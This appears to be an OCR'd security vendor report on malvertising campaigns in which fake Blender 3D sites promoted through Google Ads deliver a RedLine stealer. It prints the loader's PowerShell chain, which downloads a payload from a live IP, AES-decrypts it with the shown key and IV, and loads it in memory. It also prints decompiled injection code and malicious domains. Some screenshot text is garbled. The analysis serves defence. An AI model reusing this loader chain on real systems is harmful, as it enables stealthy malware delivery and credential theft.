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In recent months, we observed an increase in the number of malicious campaigns that use Google Advertising as a
means of distributing and delivering malware. At least two different stealers, Rhadamanthys and RedLine, were
abusing the search engine promotion plan in order to deliver malicious payloads to victims’ machines. They seem
to use the same technique of mimicking a website associated with well-known software like Notepad++ and
Blender 3D.

The treat actors create copies of legit software websites while employing typosquatting (exploiting incorrectly
spelled popular brands and company names as URLs) or combosquatting (using popular brands and company
names combined with arbitrary words as URLs) to make the sites look like the real thing to the end user—the
domain names allude to the original software or vendor. The design and the content of the fake web pages look the
same as those of the original ones. Threat actors then pay to promote the website in the search engine in order to

push it to the top search results. The technique is called “malvertising”.

Our observations

In the following snapshots, we can see Google ads promoting fake pages for AMD drivers and the Blender 3D
software. If we take a closer look at the URLs, we will see that the domain names incorporate the software name
but are in fact unrelated to the real AMD or Blender 3D vendors. In most cases, the top-level domains are different
from those of the official sites as well. The use of less common TLDs enables the threat actors to register second-
level domains that are similar to the real ones. These domains lure victims to click on the link and access the fake
website more often than random domains registered in a more common domain zone, such as COM, because they

may look more like a legitimate website.
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support resources and articles for additional details.
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N 3d m
Animation & Rigging. Make it Your Gwn. Drawing 2D in 3D. Cycles Render Engine. VFX
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Fake AMD and Blender 3D websites in search results

We visited some of the promoted sites and obtained the malicious payloads they were distributing. In this article,

we will focus mainly on the “Blender 3D” fake websites.
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Whether you do animation, modeling, Free to Use. Free to Share. Free to Blender's main strength is its huge
VFX, games, you name it. Change. Free to Sell Your Work. community. Made by hundreds of
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Fake Blender 3D web pages

The size of the downloaded file (ZIP archive) is 269 MB, which is close to the original Blender installer size. The
size of 257 MB stated on the fake web page matches that of the original Blender 3D installer, but it does not match

the size of the fake download.

When the user clicks the “Download” button, the archive blender-3.4.1-windows-x64.zip
(EOBDF36E4A7CF1B332DC42FD8914BA8B) is downloaded.
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The size of the file (BBASBAA93FCDDA5SAC7663E90COEEFA2E7) extracted from the archive is 657 MB. When

launched, it drops two files into the temp directory:

e The original Blender 3D MSI installer (marked green on the screenshot below), whose size is also 657 MB;
e A PE file that acts as a next-stage loader for a malicious PE file (marked red), which also has the same size

as the original installer: 657 MB.

I [ [} = | 1xPooo.TMP

Home Share View

&« v P » ThisPC » Local Disk(C:) » Users » Bob » AppData » Local » Temp » [XPODO.TMP S ] C
[J MName Date modified Type Size
7 Quick access I ) I
SetupFileProgram_v12.6.exe 1/16/2023 219 PM Application 672,998 KB
[ Desktop + e J — - pr — -
ﬁ! blender-3.4.0-windows-x64 1/16/2023 219 PM Windows Installer ... 672,998 KB

* Downloads -

Dropped files: the original Blender 3D MSI installer and the malicious loader

The size of the dropped malicious loader is this big because it is inflated with junk bytes when the PE file is

created. The deflated malicious loader size is about 330 KB, and the rest is junk.
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| SetupFileProgram_v12.6.exe

Offsec(h) 00 O1 02 O3 04 05 06 O7 085 09 04 OB OC OD OE OF Decoded text

03R29250 E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ2 E2Z E2 43333333533333333
03229260 E2 EZ E2 E2Z E2 E2Z E2 E2Z E2 E2Z E2 EZ E2 E2 E2 E2 &&45333533453333433533
03A29270 E2 E2Z E2 E2Z E2 E2 E2 E2 E2 E2 E2 E2 E2 E2 E2 E2 S&453453335333333533
03A29280 E2 E2 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 EZ E2 E2 E2 S&a533353335334333aaa
03A29250 E2 E2 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ EZ E2 E2 E2 S&a5334533435334343353aa
0O3A292R0 E2 E2Z2 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 EZ E2 E2 E2 3J&453353335333333533
03A292B0 E2 E2Z E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ2 EZ E2 E2 E2 3&45333533535333333533
0O3A292C0 E2 E2Z E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ EZ EZ2 EZ2 E2 J333333333333333
03A292D0 E2Z EZ E2 EZ E2Z EZ E2 EZ E2 EZ E2 EZ2 E2Z E2 E2 E2 H&45333333333333533
O3AZ92EQ0 E2 EZ E2 EZ E2Z EZ E2 EZ E2 EZ E2 EZ E2Z E2 E2 E2 &&45333333333333533
O3AZ92F0 E2 EZ E2 EZ EZ EZ E2 EZ EZ2 EZ EZ E2Z E2 E2 E2 E2 #&333333333333a3
03A29300 E2 EZ E2 EZ E2 E2Z E2 E2 E2 E2 E2 E2 E2 E2 E2 E2 &&53333333333a3333
03A29310 E2 EZ E2 EZ E2 E2Z E2 E2 E2 E2 E2 E2 E2 E2 E2 E2 &&5333333333a33a3
03R29320 E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2Z E2 4333333333833333
03A29330 E2 EZ E2 E2Z E2 E2Z E2 E2Z E2 E2 E2 EZ E2 E2 E2 E2 &&45333533453333433533
03229340 E2 E2 E2 E2Z E2 E2 E2 E2 E2 E2 E2 EZ2 E2 E2 E2 E2 S&453453345333333533
0O3A29350 E2 E2 E2 E2 E2 E2 E2 E2 E2 E2 E2 EZ2 E2 E2 E2 E2 S&45335334533333333
03229360 E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ EZ E2 E2 E2 S&a533533453343a3353aa
0O3A29370 E2 E2 E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ2 EZ E2 E2 E2 J&45333533535333333533
03A29380 E2 E2 E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ2 EZ E2 E2 E2 J&45333533535333333533
0O3A29350 E2 E2Z E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ EZ EZ2 E2 E2 J333333333333333
O3AZ93RA0 E2 EZ E2 EZ E2Z EZ E2 EZ E2 EZ E2 EZ E2 E2 E2 E2 #H&453335333333333533
0O3A293B0 E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ E2 E2 E2 C7 C7 C7 &aadaadasadasaccc
O3R293CO CT C7T CT CT CT CT CT CT CT oCT CT CTCT CTCTCT QOOCCCCCCCCCCCCT
03R293D0 CT C7T CT CT CT C7T C7T C7 C7 CT C7 C7T CT CT CT7T C7T QOCCCCCCCCCCCCCe
O3R293E0 C7T C7T CT CT CT C7T C7T C7 C7 C7T C7 C7T CT CT C7T C7T QOCCCCCCCCCCCCCe
Q3R293F0 CT CT CT CT CT CT CT CT CT CT CY CT CT CT CT CT QUCCCCCCCCCCCCCT
Q3n2o4Q0 CT CT CT CT CT CT CT CT CT CT CY CT CT CT CT CT QLCCCCCCCCCCCCCT
03R29410 C7T CT CT CT CT CT OCT CT CT CTOCT CTCTCTCTCT QCECOCCCCOCOCCCT
03R29420 C7T CT CT CT CT CT CT CT CT CTCTCTCTCTCTCT QCCCOCCCCCCCCCCT
03a29430 C7T CT CT CT CT oCT OCT oCT OCT CTOCTCTCTCTCTCT QCECCCCCCOCCCCCT
03a29440 C7T CT CT CT CT oCT OCT CT OCT CTOCT CT CTCTCTCT QCECCCCCCCCCCCCD
03m29450 CT CT CT CT CT CT CT CT OCT CT CT CTCT CTCTCT QROCCCCCCCCCCCCC
03m2%94e0 C7T CT CT CT CT C7T C7T C7 C7 CT CT CTCT CT CT CT QOOCCCCCCCCCCCCC
03m29470 CT CT CT CT CT CT CT CT OCT CT CT CTCT CTCT CT QOOCCCCCCCCCCCCC
03m29480 C7T C7T CT CT CT C7T C7T C7 C7 CT CT CT CT CT CT CT QOOCCCCCCCCCCCCC
03m2%94%0 CT C7T CT CT CT C7T C7T C7 C7 CT CT CT CT CT CT C7T QOOCCCCCCCCCCCCC
N3B294p0 7 7 7T 7T CToCTOCT T OO OT 7o LD IR I I A A A I I e

Junk bytes inflating the loader

After the initial installer (extracted from the archive) drops these two files, it runs the malicious PE file using the
CMD method (cmd.exe /c [Filename] command) to hide it from the user. Additionally, the initial installer also

runs the original Blender 3D MSI to make the victim believe that the desired software is running.

Thus, the threat actors disguise their malicious payload through the installation of another software product by
creating a “pre-installer” for the legitimate software, which will put both the malware and the desired genuine

software on the victim’s machine.
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MName PID  CPU I/Ototal.. Privateb.. Username 0

[5] SgrmBroker.exe 4544 002 5.00 MB  NTAUTHORITY\!

[ svehost.exe 8528 17MB NTA.MOCALSI

(85 svchost.exe 3340 2.67TMB  NTA..\LOCAL S|

[ svchost.exe 5052 T7.93ME  NTAUTHORITYY!

(85 svchost.exe 8428 2.88MB  NT AUTHORITY\!

ﬁ blender Setup x [ svchost.exe 2580 1.67MB  NTAUTHORITYY!
[ svehost.exe 6336 6.2ME  NTAUTHORITY\!

(55 MsMpEng.exe 1032 001 260.29 MB  NT AUTHORITY!

Welcome to the blender Setup Wizard [ svchost.exe 10308 63MB  MN..ANETWORKS
[ svehost.exe 10416 123MB  NTA.MNLOCALSI

[55] WUDFHost.exe 7832 21T MB  NTA.ALOCAL S|

Please wait while the Setup Wizard prepares to guide you (¥ svchost.exe 9972 13.14MB  NTAUTHORITY\!
through the installation. §5) msiexec.exe 7436 0,02 6.05MB NT AUTHORITY\!
Computing space requirements [ Trustedinstaller.exe 5356 1.77MB  NTAUTHORITY!
[ svchost.exe 7736 17TMB  NTAUTHORITY\!

(4] svchost.exe 8440 1.63MB  NTAUTHORITY\!

Il lsass.exe 816 014  769kB/s 9.57MB  NT AUTHORITY\!

El fontdrvhost.exe 976 1.51ME  Font Driver Host!

S[55.EXE 666 019  1.09kB/s 2.23MB  NTAUTHORITY\!

logon.exe 748 3.06 ME NT AUTHORITY!
El fontdrvhost.exe 968 0.04 6.61 MB  Font Driver Host!
El dwm.exe 1524 178 133.26 MBE - Window Man..\l

scplorer.exe 6180 346 99kB/z 123.67MB DESKTOP-Q3GAT
B securityHealthSystray.exe 9016 1.97TMB  DESKTOP-Q3GAT
& Everything.exe 9124 001 484 Bfs 70.9MB  DESKTOP-CGAT

gl vmtoolsd.exe 37.86 MB

i

[y = R N

DESKTOP-0Q3GAT

v e blender-3.4.1-windows-... I DESKTOP-Q3GAT

CPU Usage: 33.17%  Physical memory: 2.21 GB (55.26%) Processes: 148

Blender 3D installer launched by the “pre-installer”

The screenshot above shows the actual software installer running, but if we take a closer look at the processes, we
will notice a short-lived sub-process (cmd.exe /c -> “SetupFileProgram™) run by the “pre-installer”. This short-

lived process is the loader for the malware.

The loader

The loader is a .NET file protected by an unregistered version of .NET Reactor. It seems to use an anti-debugging
technique in order to prevent a debugger from executing and dynamically analyzing the binary. In a nutshell, the
loader runs a new powershell.exe process and manipulates it to execute numerous PowerShell commands, which
instruct it to access a third-party URL in order to get the payload. The payload is a base64-encoded, AES-
encrypted fileless binary. Further commands are related to decoding and decrypting that binary, then running it in
memory, within a newly created aspnet_compiler.exe process, a legitimate Windows .NET framework compilation

tool.
In this case, we observed two detection evasion tricks during the runtime:

o The fileless technique, which involves getting a payload from an online source and loading it directly into
the memory of a process;
¢ LOLBAS (living-off-the-land binaries and scripts), which, in this case, is the use of a .NET compilation

tool to run the malicious binary.

Page 5 of 14


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/03/07173024/Malvertising_through_search_engines_05.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/03/07173024/Malvertising_through_search_engines_05.png

https://securelist.com/malvertising-through-search-engines /108996 /

Below, we provide a more detailed analysis of the loader execution chain. After passing the loader anti-debugger,
we can see that it starts a PowerShell process, so we will put a breakpoint at the CreateProcessW WinAPI call to

observe the behavior.

WﬁFF mov_edi,edi CreateProcessw ~ 5
. 188E2 push ebp (R FAD
. 188E3 Saec mov ebp,esp .
o[ 754188E5 5D pop ebp EAK I G T 2
#||7e1sses| - Fe2s gsissare jmp dword ptr ds:[<&CreateProcessws] IMP.&CreateProcessw EEX 00000001
) cc int3 ECX  0276724C
. cc int3 EDX  7E4133E0 <kernel32.CreateProcessis
. cc int3 EBP  0O04FEOF3 &"6a0"
. cc int3 ESP  004FDFOS
. o int3 ESI  027677E4
. cc int3 EDI 004FDF78 L™\ "C: /windows /SyswOwe4,/WindowsPc
. cc int3
= =3 JIITE EIP  764188E0 <kernel32.CreateProcessw>
. cC int3
. &< == EFLAGS  00Z00300
= o int3 ZF 0 PF O AF O
. cc int3 OF 0 SF O DF O
. cc intz CF O TF1 IF 1
. cC int3
. cc int3 LastError 00000000 (ERROR_SUCCESS)
. cC int3 LastStatus 0000133 (STATUS_ENTRYPOINT_NOT_FOUND)
. cc int3
. EE ::g G5 002B  FS 0053
. 8BFF mov_ edi,edd FindactCtxSectionstringw Eg ggsg gg ggsg
. 55 push ebp
.
. aec '33; g’gg'e” ST(0) 00000000000000000000 X87r0 EMPTY O.0000000000C
e|| 76418906| ~ FF25 78174876 jmp dword ptr ds:[<&FindActCtxSectionSt|IMP.&FindActCtxSectionstringw ST(1) 00000000000000000000 XE7rl Empty O.0000000000C
o[ 7621890c cC intz ST(2) 3FFF3000000000000000 XB87r2 Empty 1.0000000000(
o[ 76418900 cc int3 ST(2) 3FFFE000000000000000 x87r3 Empty 1.0000000000C
o[ 75418308 cc int3 ST(4] 0000000000000000N000 XB7r4 EmpTy 0.0000000000C
o [ 7541890F cc int3 ST(5) 0000000000000000D000 XB7rS EmpTy 0.0000000000C
. 418910 cc int3 ST(6) 4006F700000000000000 Xx87r6 Empty 247.00000000C
78418911 cc int3 ST(7) 3FFCCCCCCCCCCCEONODO X87r7 Empty 0.2000000000(
o 76418912 cC int3
o 76418913 cc int3 < >
75418914 cc int3
o 75418915 cC int3 -
o 7essas cc ints v ie.fau\t(sbdmll} [5 1100 unlocke
= 8 = = 2 2! 'C: /Windows /SyswWowed ,/windowsP
edi=004FDF78 'C: /wWindows/SyswOwe4,/windowsPower shell/v1.0/powershell. exe\’ 3: [esp+C] 00000000
4: [esp+10] 00000000
5: [esp+l4] 00000001
+TEXT:764188E0 kernel3z.d11:$188E0 #98EQ <CreateProcessw-
@ B52[return to system.ni.GF1SCASZ from 777
@Jbump 1 Gpumpz  Woump3  Wdpump4 W Dumps @ watch 1 Ix=| Locals # struct D0 —
address | Hex MScu T [~ |[F78[L7VCE /windows /Syswowes/windowsPowershell/vi. 0/powershell. exe\""
77DA1000 |16 00 18 00[EQ 7D DA 7714 00 16 0050 7C DA ZZ[L. .. 830w, ... P|Ow| | 222

Call of CreateProcessW to spawn a PowerShell process

Since we did not see any command passed to the PowerShell process when initializing it via the CreateProcesswW
call, we can conclude that it will be passed at some point later, so we can observe the passing of the PowerShell
command(s) by putting a breakpoint at WinAPI WriteFile in order to see the command lines for the

powershell.exe process.

So, after letting it run and reach the breakpoint, we will check the result in the return of the function call, and we

can see in the stack that the first command pushed to the powershell.exe process was #Start-Sleep -seconds 30;.

s8CE mow ecx, ea =
BA_00000OCO moy e, cgaooaoo " (e D
2 and ecx,edx
3D 03010000 cmp eax, EAX 00000001
~ 75 54 Jne kerne]base 76202000 EBX 00000000
B8CE o ECX  F1853DEA
EE 0D1C0000 call kernemase.?szuscso EDX  012FE1SC
3300 reax,eax EBP  012FE1EC
834D FO mov eckigword pre =:fens-10] [ebp-10]:"4L !0 \x04" ESP  012FE180 “q:00 \x04"
64:890D 00000000 mov dword e I (0], 00000000: @1 /\x01" ESI  033F2098 "#start-sleep -seconds
59 pop ecx EDI  012FE204
5F pop edi
E DDD eS| B EHETTE=GHICER =CREes BIir EIP 76202094 kernelbase. 76202094
58 pop ebx
co eave P
] e EFLAGS 00200202
& pushEec ZF 0 PFO AF O
FF75 10 push dword ptr ss:[ebp+100 OF 0 SF 0 DF O
FF75 0C push dword ptr ss:febpcCl) CF O TFO IF1
845 EO Tea eax,dword ptr s=:[ebp-z0]
50 push eax LastError 00000002 (ERROR_FILE_NOT_FOUND
51 push ecx LasTSTATus CO0D0034 (STATUS_OBIECT_NAME_D
51 push ecx
= 8::“ ecx GS 0028 FS 0053
FF1S DC373A76 €all dword ptr ds: [<&ZwriteFiles] O b e e
88Ca mov ecx,eax
81FS 03010000 =
o G (e jepkememase AT 5T(0) 00000000000000000000 x87r0 Empty O.
85¢5 Test ecx, ST(1) 00000000D00DDO000000 X87r1 EMPTY O.
~ OF88 D1570300 is kE!"ﬂE]DﬂSE 76307893 ST(2) 3FFFS000000000000000 X87r2 EMPLy 1.
85F6 Test esi,esi esi:"s#start-sleep -seconds 30;\r\n" ST(3) 3FFFB000D00D00D0000D XB7r3 Empty
« 74 05 Je kernelbase.762020CB ST(4) 00000000D00D00000000 X87ra EMPTY
8845 E4 mov eax,dword ptr ss:[ebp-1c Start-Sleep -Seconds 30;\r\n” ST(5) 00000000DO0DOODN00ND X87r5 EMPTY O.
8906 mov dword ptr ds:[esi],eax # Sleep -seconds 30;\r\n ST(6) 4000COD0DDDOOD00D00D XB7r6 EMpLy 3.
33co Xor eax,eax ST(7) 40008A3D710000000000 x87r7 Empty 2.
10 inc eax
~ EB BS jmp kernelbase.76202085 <
38CA cmp ecx, edx
~ 74 A8 j& kernelbase.7620207C | Dt el
RcEe Facr mcioani asisvacrarr_class —carands 2nstrlnt
> [esp+4] 000004AD
[esp+8] 033F2D98 "#Start-Sleep -Second
[esp+C]_00000018
[e5p+10] 012FE204
: [esp+14] 0000000D
.TeXT:76202094 kernelbase.d11:$112094 #111493

oump:  Yyoumpz  @hoump3  @oumps  @Woumps @ warch1  eliocsls P struct T | T 0 T b e CAEERA T B
012FE188 | 033F2D98 | "#start-sleep -seconds 30;%rin"

012FE1EC | 0000001B
012FE190 | 012FE204
012FE154| 00000000
012FE198 | DLEEFA7O
7OF210FC | "egbp"
012FEFAD
00000014
012FE184
C [ 6FFO9B71 | return to mscorlib.ni.&FF09871 from 7
012FE1EC
c GFBIFADO | "QEy#<p® "
012FE1B5 | 033ERB440 | "4L |0 \x04"
012FE1BC | 0136A068
D12FE1CO|71052EE8 | €1r.71052EE8
012FE1C4| 012FE204

ASCII ~

BEREEE
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Observing the pushed command(s)

We can try checking the memory section where the command is stored and searching for other commands that are

being kept in the memory for later use by the loader.

033F29458
033F2958
033F2968
033F2978
033F2988
033F29958
033F29A8
033F29B8
033F29CH
033F29D8
Q33F22ES
033F29F8
033F2A08
033F2A18
033F2A28
033F2A38
033F2A458
0O33F2ALEB
033F2A6E
033F2ATE
033F2A88
033F2A98
033F2AAB
033F2ABSB
033F2ACSE
033F2ADE
033FZAES
0O33F2AFE
033F2BOB
033F2B18
033F2B28
033F2B38

Memory address of the pushed PowerShell commands

After taking all the data from this memory section, we will see all the commands passed to the powershell.exe

process via the WriteFile WinAPI call.

"OK", 'Error');

1 #Start-Sleep -Seconds 508
2 #Start-Sleep -Seconds 38@;
3 #%arrl - @(9)*1000*1000+100;
4 #Add-Type -AssemblylName System.Windows.Forms;
5 #[System.Windows.Forms.MessageBox]::Show('You have an old version of the app, upgrade to the new version by going to trovata.ie', "Error’,
6 $payload_var - (Invoke-webrequest -URI 'http://45.93.201.114/docs/r8YmmOppqzakG89fdxWABDKSEZYDCY.txt' -UseBasicParsing).Content;
7 $payload_var - [System.Convert]::FromBaseb4String($payload_var);
8 $aes_var = New-Object System.Security.Cryptography.fesManaged;
9 $aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC;
18 $aes_var.Padding - [System.Security.Cryptography.PaddingMode]: :PKCS7;
11 $aes_var.Key - [System.Convert]::FromBaseb4String( ' E@OElodqiEIdW3q4sUT4KblizYui9xc7G6jqcwEFDEQ=");
12 $aes_var.IV = [System.Convert]::FromBase64String( ' uG/mMn8mHra0Z1Ks0DkTTg==");
13 $decryptor_var = $aes_var.CreateDecryptor();
14 $payload_var = $decryptor_var.TransformFinalBlock($payload_var, @, $payload_var.Length);
15 $decryptor_var.Dispose();
16 $aes_var.Dispose();
17 $msi_var = New-Object System.IO.MemoryStream(, $payload var);
18 $mso_var - New-Object System.IO.MemoryStream;
19 $gs_var = New-Object System.IO.Compression.GZipStream($msi_var, [I0.Compression.CompressionMode]::Decompress);
20 $gs_var.CopyTo($mso_var);
21 $paylead_var = $mso_var.ToArray();
22 $obfstepl var - [System.Reflection.Assembly]::Load($payload_var);
23 $obfstep2_var = $obfstepl_var.EntryPoint;
24 $obfstep?_var.Invoke($null, (, [string[]] ('"))); #($null, $null);
25  #start-Sleep -Seconds 5@
PowerShell commands

If we read the commands, we will see exactly what the powershell.exe process is about to do

instruct it to perform the following actions:
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—_

. 1 Download string data, which is part of the following URL, namely the name of the file:
http[:]//45.93.201[.]114/docs/[RandomChars].txt. The downloaded data is a Base64-encoded string that is

decoded into encrypted data.

2. 2 Prepare the decryption method, AES-CBC, as can be seen in the screenshot above. We can also easily see
and decode the Base64-encoded key and IV (initialization vector) used for decryption in the PowerShell

command.

w

. 3 Decrypt the data into a Gzip-compressed binary.
4. 4 Decompress the binary.
5. 5 Invoke the binary to run it.

. — length: 272280 —
Recipe ol E  inpu Ao , tO=Ew =
© 1 XeSSXHKUPAbASBLIDZGKNUPC17308Y]cQeyKWNPEAORCPNTXC I/ VLIGS1Y3g/CJ 2R I tVhKe210c20) LIU+b2BKTTUkyPXuFCyXXes/ kP F 25 6kso3soxel
Lol kIsl27vIioRujiz/ TiuSa+q/ CIUSBEGFKshB508xhL3Kg/ vNOSNSCDGF vHAZSapo TdF71NswCx3C INNynEBIMEQSyv1LZD5X2kaEBUBS08PUL26/ gt QlleaiRU

552b0bDjs+8LKITLr/ hNLD/Z6NL 1D/ FAFW7QGhrQiZZ7QMc 10FwL / OlrRPMAHE2ZQux3u0u]9roL YaPZ60Ud LunrPAYBK JHEBKOHS 1t jg8RZWDNN vBuedAeKL

T FGDDLWeqC+QHgQUOCDPSazqC11qIxdu7Lru2euagsl CO+Z7ZNICXO5rASCAN2HNZRDY 3y 2QogM/ /HPy FC 2Pz uFUFpVxHAOXhBIBRGASUTL 1kCuoo3 ks eHd A+
SUtYZ1LrCNKHO7mahhkeVeFhswUrsemfUvNMAKYpOly p+iiXbeZf1EmeFacjfyAeQRIKewsoText3jBkAZDEbEAVEXHSE /iu3vv3H2W2+argi9Zxnf 1leQ53c7gh
g94HX8+FQMI+001 FFX3CWIOHjWXBEL4001Eq 8Nz +/ FOADS JPEAYB1SPBUHOUUEKPHT78hkdT10Mr 21 Tcms sTFYSN60grkkE6K SLINR P07 g FFLOAZIAKU
Remove non-alphabet chars [ strict mode 2WH3g22G5+XBBS05kIoEKQXSCEDPNEZ 5gshzunZvDQXDhKXS jDUbAXbC0aGI 1 MGVRYT3ZQuul61rYigoxHUT10e4C05WM311828LAqn3ghc s 1008 s 3UHTNU
PeglfDKVErKAG72ICFFQdSVFIBIDrCNbKrr4Z1hE1d1+rHgaUHGEs cOxykX2hpknO+gxkm/ 4KUMPXuP /QGSE nvNA2pFAWSLdkUKh 30C 6oykg HFpBli+652HD TA
AoF@TnJiUI6QePunUgXCdHulBlbeFR1EeuhOUTQaACdWSOMBY1x1vduoZezVt73oLxjKejXZNsxRptnxRLvFk+Kzr6FmKImivqazXsDips//Zas+jsikmasish

AES Decrypt O mn 18)T2LdZvGknvvp4hiMGuyDz 172U6wgPL60BLIZ5EL ey oUXbQS@GIYPCAS IgaexT7axy 2Z+e2ZVgiduenzZf LNhecSXI+gtcTTV/ Sv1RmfgRACS/LYIC2Y
bIHYYKCcUBHAGFOmeodNYG22B0hyYYqZWD ] IPErISmBCF 1 1BHAUCUI47RRKLUCR3MHp3g/ BMgg58deXml 1vPBKFQoFNbBRIS47 1 a6 /92 2QuQEAC tcRphogX

Alphabet
A-Za-z0-9+/=

k . . i BASEG4 ~ 2rJuh7nBNHZEC20V/ 45HACUTQMYU641614NLMVHOMGUrBT6pgvh / In02auFR 1/ BHFYV+yXWDbyFtUTgAPT7 Se /vmOUATXAC 8RHeX gg FPSq I tOPkeKPHO fHHN
E@OE104q1EIdW3q4sUTAKb1izYuidxc766jqcwEFDEQ= b376y0565BHxq2BunSkSJXALS1U/ 2zamp3UnLD2paT4sHTE/ LmyIpo7 1 LHVGcoakfXaCshz paPsYmATVKWCOUSAROIMA17pZ FhVYPRgEZpTkFOSOMEQsXaAse
: pxr+mY2GKnprXZaRd1avyniGaNivl+1phpCFmLeCuaBAAdIDrc+xD6HSH1UXeBDXIEBWZ+ 1ZzAy jhOn5@8s115rUIn1AS8DAcgd8I 1jncbbk hLmIOBLSaSRql
‘l:G/mMnKeraUZleODkTTg:: BASEG4 ~ FOpGIU/xu+1tHaTKSH3HhkvZqOojvdIkXDIFB19xuHGaV+BgeuZkp7RogrQ2aruhIDREFNRACSUGQEB1gL rkXSaij TAVZ6ybakz@sSENG {0 rECDOBHCVUFN
v4pmexLUSYGYZP cFIMBUTXS 1wB6HIAQoIB 548K JnDRokgN2LoWah2 jxRn8MmCyEL IK22aT sMUAMQTrxob1B8+vtviulAPCYS0T VN IMdLgFuczcN33m/ u/k/
e - Cutout Xuvz1dBpAXT71/NKVZWKhK24%1WQ3 / eDCp/ BtKhpell+WFoVizesKAUF1KchImy / TFAYGEEMS SY2aZ THA6 JDMTEDCSBDO11 j1A87nHEYSVEnq 78+ InoWIt8AbYT
CBC Raw Raw NCB3811mal62HIHWOCZMhMCYMZ EQIHOS 9E [aLAAUI67 1] L8UCUh4GAGOF qmbDi+gLyECBVI pxVVY1eFIThdMnj310UR] /ROHUZSVdouasIdIPEPaazDCSBF 1Dbs
dKC/OyThMWFDAd3M621 5vq12tZg9t F2InP jzA4HKE6ukgBIqQ1+@bHSYMyLpOLGrFbsBFOjpgreuliqtg6MLNzYRcgn+ IS0S0rGEpx jX00X5328F E /uby 3ZmAreX
SINS1 RVAUADE TUMA 1> dLh AN | mDi 04l IRRAAZAK 3EaNTEAGS v YVe TAEF IHENT £1 4 ¥VoOTAVAVRREVR  AalintAoil AUATLNTVARE 10 177 40V 10 dné LmhEL 2Yu
R o u time:  cems
wmem BO® - o
11, .Lf!This program cannot be run in DOS mode.
= X
ST e Auto Bake -

Decrypted binary

The binary that we obtained is the dropper of known malware, the RedLine stealer. The version of the stealer at
hand uses an interesting technique to hide its malicious payload: it is encoded in the least significant bit of images

stored in the resource section of the dropper, as well as the key and the IV bytes for its AES decryption.
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Resources X

1 // moltMatar.jpg (58877 bytes, Embedded, Public)
3 Save

3

4 /{ moltPeroxy.jpg (63348 bytes, Embedded, Public)
g Save

6

Embedded images with a malicious payload
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public static void Mzin{string[] args = null)

{

Assembly executingAssembly = Assembly.GetExecutingAssembly();
babuinabDhal.AntiDebug();

whereatCuttler.ioniObjet();

byte[] array = unitangelin.GetResource("peroxysluts.jpg"”, executingAssembly);
Bitmap bitmap = new Bitmap(Image.FromStream(new MemoryStream(array)));

array = griefUnit.BytesFromLSBPicture(bitmap);

byte[] array2 = unitangelin.GetRescurce("slutsThujas.jpg"”, executingAssembly);
bitmap = new Bitmap(Image.FromStream{new MemoryStream{array2)));

array2 = griefUnit.BytesFromLSBPicture(bitmap);

List<byte> list = new List<bytex»();

string[] array3 = new string[] { "moltPeroxy.jpg", "turmutGrief.jpg”, "moltMatar.jpg”, "thujasPeroxy.jpg” };
foreach (string text in array3)

byte[] array5 = unitAngelin.GetResource(text, executingAssembly);
bitmap = new Bitmap(Image.FromStream(new MemoryStream(array5)));
arrays = griefUnit.BytesFromLSBPicture(bitmap);
list.AddRange(arrays);

L GREEEEER

byte[] array6 = unitangelin.AesManaged CBC_PKCS_Decrypt(list.ToArray(), array, array2);
arrayé = unitaAngelin.GzipDecompress(array6);
for (int j = @; j < 18; j++)

¥
catch
1

! object[] array7 = new object[] { primineReadl.skyballookies, 1U };

: unsoledMaimon.InvokeNativeFunction(“kernel32.d11", "TerminateProcess", typeof(unfrostFesse.whereatDhal),
Marshal.FreeHGlobal(zero);

Marshal.FresHGlobal(intPtr);

{

: primineReadl primineReadl = default(primineReadl);
i IntPtr zero = IntPtr.Zero;

: IntPtr intPtr = Marshal.AllocHGlobal(®);

H try

Pt

: ! unfrostFesse.employeBirde(array6, ref primineReadl, ref zero, ref intPtr);
E : if (lunfrostFesse.palmeryEmploye())

o f

: : break:

Lol

H

¥

E

nvironment.Exit(@);

ref array7);

Payload decryption routine

After decrypting the payload, the dropper starts a legitimate process named “aspnet_compiler.exe”, which is part

of the Microsoft .NET framework, and injects the payload into it.

27
28
29
3e
31
32
33
34
35
36
37
38
39
4@
41
42
43
44
45
46
47
43
49
5e
51
52
53
54
55
56

private static void employeBirde(byte[] birdeWishly, ref primineReadl PI, ref IntPtr cypreskEmploye, ref IntPtr objetEyeball)

{

null,

text,

IntPtr.Zero,

IntPtr.Zero,

false,
pommageTrpset.unifiesRobbers,
IntPtr.Zero,

null,

twiggedTumult,

PI

throw new Exception("1");

= (primineReadl)array[2];

IntPtr skybalNookies = PI.skybalNookies;
IntPtr vitiskybal = PI.vitiskybal;
nookiesJewy nookiesJewy = new nookiesJewy

twiggediudiped = sheafBreva.CONTEXT_ALL

Injecting a payload routine

Infrastructure
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string text = Path.Combine(Environment.GetEnvironmentVariable("SystemRoot"), "Microsoft.NET/Framework/v4.8.38319/aspnet_compiler.exe");
IntPtr zero = IntPtr.Zero;

int num = BitConverter.ToInt32(birdeWishly, &@);
twiggedTumult twiggedTumult = default(twiggedTumult);
object[] array = new object[]

{

T
if (!(bool)unsoledMaimon.InvokeNativeFunction("kernel32.d1l", "CreateProcessA", typeof(unfrostFesse.eyeballDhal), ref array))
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To deploy decoy pages, the malefactors register deceptive domain names, such as blender3d-software[.]net or
blender3d-software[.]org. We have found more than fifty similar domains hosted at the same IP address:
91.229.23[.]200. These domain names mimic other software distribution sites as well, for example, afterburner-

software[.]org, tradingviews-software[.]org, and unity-download[.]com.

The malicious payload could be stored on the same site (for example,
hxxps|://]blahder3dsoft[.]store/Blender|.]rar) as the landing page or on a public service that can be used as the file
hosting service (MediaFire or GitHub).

Conclusion

We are seeing an increase in the spread of malware families through Google Ads campaigns, specifically through
